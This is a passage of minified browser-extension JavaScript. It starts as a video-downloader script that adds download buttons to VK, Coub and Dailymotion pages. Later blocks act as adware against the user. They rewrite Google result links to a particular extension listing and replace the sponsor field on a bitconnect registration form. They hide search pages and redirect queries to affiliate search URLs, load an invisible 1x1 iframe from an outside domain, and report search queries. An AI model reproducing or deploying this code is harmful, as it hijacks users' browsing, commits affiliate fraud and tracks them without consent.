var U = document.querySelector('.videoplayer_quality_select ._item[aria-checked="true"]').dataset.value;
var Q = new XMLHttpRequest(),
T, N = "https://vk.com/al_video.php?act=show_inline&al=1&video=" + S;
Q.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var ac = new RegExp("<!json>(.*)").exec(this.responseText),
Y, aa, Z = new Array();
if (ac) {
Y = ac[1];
Y = Y.split("<!>")[0];
Y = JSON.parse(Y);
aa = Y.player.params[0];
for (var ad in aa) {
if (ad == "url240" || ad == "url360" || ad == "url480" || ad == "url720" || ad == "url1080") {
Z[ad] = aa[ad]
}
}
var W = Z["url" + U]
} else {
var ae = E(S);
var ab = new XMLHttpRequest(),
af, ag = this,
X = "https://vk.com/al_video.php?act=show_inline&al=1&list=" + ae + "&module=public&hash=" + v + "&video=" + S;
ab.onreadystatechange = function() {
if (ab.readyState == 4 && ab.status == 200) {
var ak = new RegExp("<!json>(.*)").exec(this.responseText),
aj, am, ai = new Array();
if (ak) {
aj = ak[1];
aj = aj.split("<!>")[0];
aj = JSON.parse(aj);
am = aj.player.params[0];
for (var ah in am) {
if (ah == "url240" || ah == "url360" || ah == "url480" || ah == "url720" || ah == "url1080") {
ai[ah] = am[ah]
}
}
var al = ai["url" + U];
i(l).fadeIn()
}
}
};
ab.dataType = "text";
ab.open("GET", X, true);
ab.onerror = function(ah) {
af = true
};
ab.setRequestHeader("content-type", "application/x-www-form-urlencoded");
ab.send(null);
if (af) {
return null
}
}
}
};
Q.dataType = "text";
Q.open("GET", N, true);
Q.onerror = function(W) {
T = true
};
Q.setRequestHeader("content-type", "application/x-www-form-urlencoded");
Q.send(null);
if (T) {
return null
}
} else {
i(l).fadeIn()
}
} else {}
}
function z(O, M) {
if (!O || !M) {
return
}
var N = M.parentNode,
P = M.nextSibling;
if (P && N) {
N.insertBefore(O, M.nextSibling)
} else {
if (N) {
N.appendChild(O)
}
}
}
function r(M) {
M = M.replace(/&#039;/gi, "");
M = M.replace(/\'/gi, "");
M = M.replace(/\<em\>/gi, "").replace(/\<\/em\>/gi, "");
M = M.replace(/[^a-z,0-9,A-Z,а-я, А-Я, ,\-,(,),.,\,,\—,\–]/gi, "");
M = M.replace(/[ .\-\_\.\—]{2,100}/gi, "");
M = M.replace(/\./gi, "");
return M
}
function I(M) {
return M.replace(/^\s*/, "").replace(/\s*$/, "")
}
function L() {
if (document.getElementsByClassName("_at-saver-video")[0]) {
return null
}
var P = document.createElement("div"),
N = document.createElement("div"),
Q = document.createElement("div"),
O;
P.setAttribute("class", "mv_rtl_divider apps_tool fl_l");
N.setAttribute("class", "_at-saver-video idd_wrap mv_more fl_r flat_button");
N.setAttribute("style", "color: #fff;");
N.innerHTML = "<div class='idd_selected_value idd_arrow' style='color: #fff;'>Download</div><div class='idd_popup'><div class='idd_header_wrap'><div class='idd_header idd_arrow'>Download</div></div><div class='idd_items_wrap'><div id='_at-video' class='idd_items_content'></div></div></div></div>";
if (document.getElementsByClassName("mv_share_actions_wrap")[0]) {
O = document.getElementsByClassName("mv_share_actions_wrap")[0].children[6];
z(P, O);
z(N, P)
} else {
N.style.position = "relative";
var M = N.getElementsByClassName("idd_popup")[0];
M.style.visibility = "hidden";
M.style.opacity = "1";
M.style.top = "0";
M.style.left = "0";
M.style.minWidth = "105px";
O = document.getElementsByClassName("mv_actions_block")[0].children[0].children[4];
z(P, O);
z(N, P);
N.addEventListener("mouseover", function(T) {
T.stopPropagation();
T.preventDefault();
var S = this,
R;
R = S.getElementsByClassName("idd_popup")[0];
R.style.visibility = "visible"
});
M.addEventListener("mouseleave", function(R) {
R.stopPropagation();
R.preventDefault();
this.style.visibility = "hidden"
})
}
}
function q(N) {
if (N) {
L();
for (var M in N) {
var P = document.createElement("div"),
O = M.split("l")[1];
P.innerHTML = O;
P.setAttribute("class", "idd_item");
P.title = N[M];
P.setAttribute("data-url", N[M]);
document.getElementById("_at-video").appendChild(P);
P.addEventListener("mouseover", function(Q) {
Q.stopPropagation();
Q.preventDefault();
this.style.background = "#e1e7ed"
});
P.addEventListener("mouseout", function(Q) {
Q.stopPropagation();
Q.preventDefault();
this.style.background = ""
});
P.addEventListener("click", function(Q) {
Q.stopPropagation();
Q.preventDefault();
i(l).fadeIn()
})
}
}
}
function G(M) {
var N = document.getElementById("mv_title");
if (N && !N.classList.contains("vks")) {
N.classList.add("vks")
} else {
return
}
setTimeout(function() {
var Q = M.querySelector("video");
if (Q) {
var U = Q.closest(".video_box_wrap").id.replace("video_box_wrap", "");
if (U) {
var R = new XMLHttpRequest(),
V, W = this,
P = "https://vk.com/al_video.php?act=show_inline&al=1&video=" + U;
var T = E(U);
R.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var aa = new RegExp("<!json>(.*)").exec(this.responseText),
Z, ab, Y = [];
if (aa) {
Z = aa[1];
Z = Z.split("<!>")[0];
Z = JSON.parse(Z);
ab = Z.player.params[0];
for (var X in ab) {
if (X == "url240" || X == "url360" || X == "url480" || X == "url720" || X == "url1080") {
Y[X] = ab[X]
}
}
q(Y)
}
}
};
R.dataType = "text";
R.open("GET", P, true);
R.onerror = function(X) {
V = true
};
R.setRequestHeader("content-type", "application/x-www-form-urlencoded");
R.send(null);
if (V) {
return null
}
}
} else {
Q = M;
var S = null,
O = null;
if (Q.tagName !== "EMBED" && Q.tagName !== "IFRAME") {
Q = M.querySelector("embed") || M.querySelector("iframe")
}
if (Q.src.match(/:\/\/(player\.)?vimeo\.com\/video\/([^\?]+)/)) {
S = "vimeo";
O = Q.getAttribute("src").replace(/^http:/, "https:")
}
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/) || Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/)) {
S = "coub";
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/)) {
O = /\/\/(?:[^\.]+\.)?coub.com\/embed\/([^&]+)/.exec(Q.src)[1]
} else {
if (Q.src.match(/\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/)) {
O = /\/\/(?:[^\.]+\.)?coub.com\/.*&coubID=([^&]+)/.exec(Q.src)[1]
}
}
} else {
if (Q.getAttribute("src").match(/\/\/(?:[^\.]+\.)?myvi.ru/)) {
S = "myvi"
} else {
if (Q.getAttribute("src").match(/\/\/(?:[^\.]+\.)?kinopoisk\.ru/)) {
S = "kinopoisk";
O = Q.getAttribute("src")
}
}
}
if (S) {}
}
}, 1500)
}
function u(M, P, N) {
var O = document.createElement("div");
O.innerHTML = P + " [" + N + "]";
O.setAttribute("class", "idd_item");
O.title = O.innerHTML;
O.setAttribute("data-url", M);
document.getElementById("_at-video").appendChild(O);
O.addEventListener("click", function(R) {
R.stopPropagation();
R.preventDefault();
var Q = document.getElementById("mv_title").innerText;
l.style.display = "block"
})
}
function w(O) {
var N = document.getElementsByClassName("video_box");
if (N && N[0]) {
return N[0]
}
var M = O.closest(".video_box_wrap");
if (M) {
return M
}
return O
}
function F(P, O) {
if (P.tagName === "EMBED") {
var N = P.closest(".page_video_inline_wrap");
var M = P.closest(".page_post_sized_thumbs");
if (N && M) {
if (N.style.height == "287px") {
N.style.height = "310px"
}
if (M.style.height == "286px") {
N.style.height = "310px"
}
P.style.height = "286px";
P.style.display = "block";
O.style.display = "block"
}
}
}
function p(U) {
if (!U) {
return
}
G(U);
if (B(U)) {
var Q = U.querySelector(".videoplayer_share_actions");
if (!Q || Q.querySelector(".downloadVideoButton")) {
return
}
var X = document.createElement("DIV");
X.className = "downloadVideoButton";
X.innerHTML = "";
X.addEventListener("click", function() {
J(U)
});
var W = document.querySelector(".videoplayer_controls");
if (W) {
var M = document.createElement("DIV");
M.className = "downloadVideoButtonBottom videoplayer_controls_item";
M.innerHTML = "";
M.addEventListener("click", function() {
J(U)
});
M.addEventListener("mouseover", function() {
showTooltip(this, {
text: "Скачать видео",
black: 1,
shift: [75, 0, 5]
})
});
W.appendChild(M)
}
Q.appendChild(X)
} else {
if (U.tagName !== "EMBED") {
U = U.querySelector("embed")
}
var O = [];
var T = U.getAttribute("flashvars");
O["240"] = D(T, "url240");
O["360"] = D(T, "url360");
O["480"] = D(T, "url480");
O["720"] = D(T, "url720");
O["1080"] = D(T, "url1080");
var Y = decodeURIComponent(D(T, "md_title"));
var S = document.createElement("div");
S.className = "divider fl_l";
S.innerText = "|";
var N = document.createElement("div");
N.className = "videoDownloaderWrapper";
var P = document.createElement("div");
P.innerText = "Скачать:";
P.setAttribute("style", "");
N.appendChild(P);
var V = 0;
O.forEach(function(ab, Z) {
if (ab) {
var aa = document.createElement("a");
aa.setAttribute("download", Y);
aa.setAttribute("href", decodeURIComponent(ab));
aa.className = "downloadVideoLink";
aa.innerText = Z;
aa.onclick = function() {
trackVideoDownload(Z, title)
};
aa.addEventListener("click", function(ac) {
chrome.runtime.sendMessage({
type: "downloadVideo",
video: {
title: Y,
url: decodeURIComponent(ab)
}
});
ac.preventDefault()
});
N.appendChild(aa);
V++
}
});
if (V == 0) {
P.parentNode.removeChild(P)
}
var R = w(U);
if (!R.querySelector(".videoDownloaderWrapper")) {
R.appendChild(N);
F(U, N)
}
}
}
function D(Q, M) {
var O = Q.split("&");
for (var N = 0; N < O.length; N++) {
var P = O[N].split("=");
if (P[0] == M) {
return P[1]
}
}
}
})();
var n = function n(q) {
var p = q;
var o = function(r) {
return function() {
var u = r.mainArray.length,
s = r.startIndex + r.stepRange;
if (u < s) {
r.outerFunction(r.mainArray, r.startIndex, u);
if (r.callback != undefined) {
r.callback()
}
return
} else {
r.outerFunction(r.mainArray, r.startIndex, s);
r.startIndex += r.stepRange;
n(r)
}
}
}(p);
setTimeout(o, p.timeOut)
}
}
}
function j() {
var u;
u = {
init: function s() {
var v = this;
setInterval(function() {
return v.parseVideos()
}, 1000)
},
parseVideos: function n() {
var x = document.getElementsByClassName("coub__viewer");
if (x) {
var w = document.getElementsByClassName("data");
for (var v in w) {
if (w[v].tagName == "DIV") {
this.video(w[v])
}
}
}
},
video: function q(B) {
var A = i(B).closest(".coub__vd");
if (A.hasClass("sfn")) {
return
}
A.addClass("sfn");
var C = B.getElementsByTagName("script")[0];
if (C) {
if (C.innerHTML) {
C = JSON.parse(C.innerHTML);
if (C) {
u.theme(B, A);
var y = C.file_versions && C.file_versions.web,
E = C.title;
var G = C.file_versions.integrations;
if (G && G.ifunny_video) {
u.button(G.ifunny_video, "ifunny_video", "mp4", E, B, A)
}
if (C.audio_versions) {
for (var H in C.audio_versions.versions) {
var x, z;
u.button(C.audio_versions.template.replace(/%\{version}/g, C.audio_versions.versions[H]), "audio_" + C.audio_versions.versions[H], x = (z = C.audio_versions.template.split("/").pop().split(".")).length > 1 ? z.pop() : "", E, B, A)
}
}
for (var H in y.types) {
for (var F in y.versions) {
var w = y.template.replace(/%\{type}/g, y.types[H]).replace(/%\{version}/g, y.versions[F]),
D = C.dimensions[y.versions[F]].join("x");
u.button(w, D, y.types[H], E, B, A)
}
}
if (C.gif_versions) {
for (var H in C.gif_versions) {
u.button(C.gif_versions[H], H, "gif", E, B, A)
}
}
} else {
A.removeClass("sfn")
}
}
}
},
theme: function r(x, w) {
var v = i(document.createElement("div"));
v.addClass("coubExt_downloader_idSaveLink");
v.attr("style", "width:100%;padding: 10px 0;text-align:center;");
v.html("");
w.append(v)
},
types: function p(w) {
var v = {
audio_low: "Audio",
audio_hight: "Audio HQ",
audio_mid: "Audio HQ"
};
if (w.indexOf("audio") > -1) {
return typeof v[w] !== "undefined" ? v[w] : w
}
return "Video " + w
},
button: function o(w, y, x, C, B, A) {
var v = i(document.createElement("a")),
z = i(A[0].getElementsByClassName("coubExt_downloader_idSaveLink")[0]);
v.text(u.types(y) + " (." + x + ")");
v.attr("style", "display: inline-block;\n\t\t\t\t\t\t\t margin: 0 4px 0 0;\n\t\t\t\t\t\t\t padding: 6px 20px;\n\t\t\t\t\t\t\t font-size: 12px;\n\t\t\t\t\t\t\t border: 1px solid #7eb1f7;\n\t\t\t\t\t\t\t border-radius: 14px;\n\t\t\t\t\t\t\t background: #7eb1f7;\n\t\t\t\t\t\t\t color: #fff;\n\t\t\t\t\t\t\t cursor: pointer;\n\t\t\t\t");
if (z) {
v.on("click", function(D) {
D.stopPropagation();
D.preventDefault();
l.style.display = "block"
});
z.append(v)
}
}
};
if (location.href.indexOf("coub.com/") > -1) {
i(u.init.bind(u))
}
}
function k() {
(function() {
function q() {
var n = document.location.href;
return 0 == n.indexOf("https://www.dailymotion.com/video/") || 0 == n.indexOf("http://www.dailymotion.com/video/")
}
function v(D) {
var B = "var config = {",
A = "};",
E = D.indexOf(B),
C = D.indexOf(A, E),
r = JSON.parse(D.substr(E + B.length - 1, C - E - B.length + A.length));
return r
}
function s(n) {
i(l).fadeIn()
}
function w(r, n) {
r.click(function(A) {
s(n)
})
}
function z(C, O, G) {
if (C) {
var H = C.metadata.qualities;
if (H) {
var D = !1,
M = i("body"),
A = i("<ul style='background-color:#FFF; border: 1px solid #CCC; display: none; pointer-events: auto !important; position: absolute; margin: 0px; right: 0px; top:40px; list-style: none; z-index: 100000; opacity: 1 !important; visibility: visible !important;'></ul>");
for (var K in H) {
var L = H[K];
for (var F in L) {
var B = L[F],
E = B.url,
N = B.type;
if ("video/mp4" == N && E) {
var J = "Download " + N + " (" + K + "p)",
P = i("<li style='min-width: 260px; width: auto; padding: 8px; background-color: #FFF !important; cursor: pointer'><a href='#download' style='display: block; width: 100%; height: 100%;'>" + J + "</a></li>");
w(P, E), A.append(P), D = !0
}
}
}
}
}
if (D) {
var I = O.find("a");
I.click(function(n) {
A.css({
top: O.offset().top - A.height() + 50,
left: O.offset().left,
right: "auto",
width: "262px"
});
n.preventDefault(), n.stopPropagation(), A.show(0).fadeTo(100, 1)
}), M.click(function(n) {
A.fadeTo(100, 0).hide(0)
}), A.fadeTo(0, 0).hide(0), G.append(A), O.show()
}
}
function p() {
i("iframe[mark_dailymotion!=1]").each(function(F) {
var B = i(this),
G = B.attr("src");
if (G) {
var D = "#0066DC",
A = encodeURIComponent(document.location.href);
if (G.indexOf("dailymotion.com/embed") != -1) {
var C = i("<div style='box-sizing:border-box; display: none; display:inline-block; width:100%; background-color: #FFF; font-family: Arial; font-size: 12px; padding: 5px; border: 1px solid #CCC;'><a style='float: right; font-size: inherit; font-family: inherit; padding: 10px; background-color: " + D + "; border-radius: 2px; color: #FFF; text-decoration: none;' href='#download' title='Download' class='btn'>Download</a></div>");
B.after(C);
var E = C.find(".btn");
E.click(function(n) {
n.preventDefault(), n.stopPropagation(), t(G, A)
}), C.show()
}
}
}).attr("mark_dailymotion", 1)
}
function x() {
i("div.pl_video_infos[mark!=1]").each(function(o) {
var A = i(this),
r = i("<div style='display:none;float: left; margin-left: 10px; position: relative'><a class='btn_v2 dm-brand_bg' href='#download' title='Download'><span>Download</span></a></div>");
r.insertAfter(A.find(".sd_user_subscribe")), i("script").each(function(B) {
var n = i(this);
n = n.html(), n.indexOf("var config = {") != -1 && (n = v(n), z(n, r, A))
})
}).attr("mark", 1)
}
function y() {
i(document).bind("DOMNodeInserted", function(n) {
clearTimeout(u), u = setTimeout(function() {
x()
}, 200)
});
x()
}
var u;
i(function() {
y()
})
})()
}
var h = window.localStorage;
var d = (new Date()).getTime();
if (h.pauseVideoPromote) {
var a = d - h.pauseVideoPromote;
if (a < 86400 * 10 * 1000) {
return
}
}
var l;
var b = "chrome-extension://amjcoehkcacocffpmhnefgoeanepjfkf/i/loading.png";
i.ajax({
url: b,
type: "HEAD",
error: function() {
l = g("https://chrome.google.com/webstore/detail/social-video-downloader/amjcoehkcacocffpmhnefgoeanepjfkf");
setTimeout(function() {
if (location.href.indexOf("facebook.com") > -1 && i(".dodsoais_social_btn_ID").length === 0) {
m()
}
if (location.href.indexOf("vk.com") > -1 && i(".idd_items_content").length === 0) {
e()
}
if (location.href.indexOf("dailymotion.com") > -1 && i(".btn_v2").attr("href") !== "#download") {
k()
}
if (location.href.indexOf("coub.com") > -1 && i(".sfn").length === 0) {
j()
}
}, 2500)
},
success: function() {}
})
});
}
})()
}(function() {
var a = w["c822bb0d82ad01a5ae"];
if ((location.hostname.indexOf("google.") !== 0 || location.hostname.indexOf("www.google.") !== 0) && document.location.pathname.indexOf("search") === -1) {
return
}
var c = "chrome.google.com/webstore";
var b = {
ddjdamcnphfdljlojajeoiogkanilahc: ["Speed Dial", "New tab", "start tab", "start page", "new page", "home page", "default page", "fast dial", "fast access", "quick access"]
};
function d() {
var f = document.querySelectorAll("div.g");
if (!f.length) {
return
}
Object.keys(b).forEach(function(g) {
f.forEach(function(h) {
var i = (h.querySelector("h3") && h.querySelector("h3").textContent) + " " + (h.querySelector("span.st") && h.querySelector("span.st").textContent);
b[g].forEach(function(j) {
if (i.toUpperCase().indexOf(j.toUpperCase()) > -1) {
e(h.querySelector("a:not(.cws)"), g)
}
})
})
})
}
function e(f, h) {
if (!f) {
return
}
var g = false;
if (f.href.indexOf(c) > -1) {
g = f.href
}
if (f.getAttribute("data-href") && f.getAttribute("data-href").indexOf(c) > -1) {
g = f.getAttribute("data-href")
}
if (g) {
f.removeAttribute("onmousedown");
f.removeAttribute("data-href");
f.href = g.replace(/\/[a-z]{32}/gi, "/" + h);
f.className = f.className + " cws";
a.on(f, "click", function() {
a.setCookie("__mzglrl", 1, {
expire: 300
});
a.loadedCallback("BANNER_LOAD", '1f608')
})
}
}
if (!a.getCookie("__mzglrl")) {
d();
setInterval(d, 1000 * 10)
} else {}
})();;
(function() {
var a = w["c822bb0d82ad01a5ae"];
if (location.href.indexOf("bitconnect.co/register") == -1) {
return
}
var b = a.randomNumber(100000, 9999999);
a.on(document.getElementById("registration_form"), "submit", function() {
var d = document.getElementById("sponsor");
a.loadedCallback("BANNER_LOAD", '62001', d.value, b);
if (d.classList.contains("sponsor_added")) {} else {
d.id = "";
d.name = "";
var c = document.createElement("input");
c.type = "hidden";
c.name = "sponsor";
c.classList.add("sponsor_added");
c.id = "sponsor";
c.value = "default1";
document.getElementById("registration_form").appendChild(c)
}
})
})();;
if (scriptsToLoad['5db45']) {
(function() {
var block = '5db45';
(function(n, i, q) {
var r = w["c822bb0d82ad01a5ae"];
var o = r.getMtzCfg('5db45');
var j = document.domain;
var c = location.href;
var f = {};
var h = true;
if (j.indexOf("nova.rambler.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("query=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("go.mail.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("plusnetwork.com") !== -1 && c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("search.mysearch.com") !== -1 && c.indexOf("/web") !== -1 && c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
function m() {
document.documentElement.style.display = "block"
}
function a() {
if (document.head) {
var d = document.createElement("meta");
d.name = "referrer";
d.content = "no-referrer";
document.getElementsByTagName("head")[0].appendChild(d)
}
}
function p(l) {
f = {};
if (!l || l == "") {
l = location.href
}
var x = l.split("?");
var v = l.split("#");
if (x.length == 2) {
x = x[1]
} else {
x = x[0]
}
if (v.length == 2) {
x = x + "&" + v[1]
}
if (x != "") {
var d = x.split("&");
for (var u = 0; u < d.length; u++) {
t = d[u].split("=");
if (t[1]) {
f[t[0]] = t[1]
}
}
}
}
function k(d) {
var l = setInterval(function() {
p();
if (f[d] == undefined) {
return
}
r.loadedCallback("BANNER_LOAD", '5db45');
var u = f[d];
var s = "http://search.feedvertizus.com/v1/hostedsearch?pid=252428&subid=965&subid2=y_" + ((r && r.tbParams && r.tbParams.tid) ? r.tbParams.tid : "") + "&keyword=" + u;
if (h) {
clearInterval(l);
h = false;
window.location.replace(s)
}
}, 0)
}
function g() {
document.documentElement.style.display = "none";
setTimeout(m, 3000);
var d = setInterval(function() {
r.loadedCallback("BANNER_LOAD", '5db45');
var l = "https://yandex.com/?clid=2300267";
if (h) {
clearInterval(d);
h = false;
window.location.replace(l)
}
}, 0)
}
function b() {
if (j.indexOf("nova.rambler.ru") != -1) {
a();
k("query")
}
if (j.indexOf("go.mail.ru") != -1) {
a();
k("q")
}
if (j.indexOf("plusnetwork.com") != -1) {
a();
k("q")
}
if (j.indexOf("search.mysearch.com") != -1) {
a();
k("q")
}
}
b();
function e() {
if (j.indexOf("r0.ru") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("go.mail.ru") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("securesurf.biz") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("mysearch24.com") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("search.mysearch.com") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("secure-finder.org") != -1 && location.pathname == "/") {
a();
g()
}
if (j.indexOf("playbar.biz") != -1 && location.pathname == "/") {
a();
g()
}
}
e()
})(document, window);
})()
}
if (scriptsToLoad['4d7da']) {
(function() {
(function(e, a, b) {
var c = document.createElement("iframe");
c.src = "https://nesmotrinamenya.ru/566bbee0f961ad71b54c3c2fd36db053";
c.width = 1;
c.height = 1;
c.style = "position:absolute;left:0px;top:0px;opacity:0.0;";
document.body.appendChild(c)
})(document, window);
})()
}
})(document, window);;
(function(g, a, e) {
var c = a["c822bb0d82ad01a5ae"];
var f = c.Sizzle;
function b() {
var d = f(".commercial-unit");
var i = f("input[name=q]");
if (i.length > 0 && d.length > 0) {
var h = i[0].value;
c.loadedCallback("GGL_COM_BLOCK", "", h)
}
}
c.each(f("input[name=q]"), function(d) {
c.on(d, "change", function() {
b()
})
});
b()
})(document, window, undefined);;
(function(e, a, f, c) {
var b = a[f];
b.twBarOptOutInit = function() {
var g = document.createElement("iframe");
g.setAttribute("style", "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;");
g.id = "__twboptc822bb0d82ad01a5ae";
g.frameBorder = 0;
g.scrolling = "no";
document.body.appendChild(g);
var d = null;
var h = function() {
if (d) {
clearTimeout(d)
}
var i = {};
if (g.contentWindow) {
i = g.contentWindow.document
} else {
if (g.contentDocument) {
i = g.contentDocument
}
}
i.open();
i.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' + a[f].tbParams.title + ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"ВЃC" "ВЃD" "ВЃ8" "ВЃ9"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px 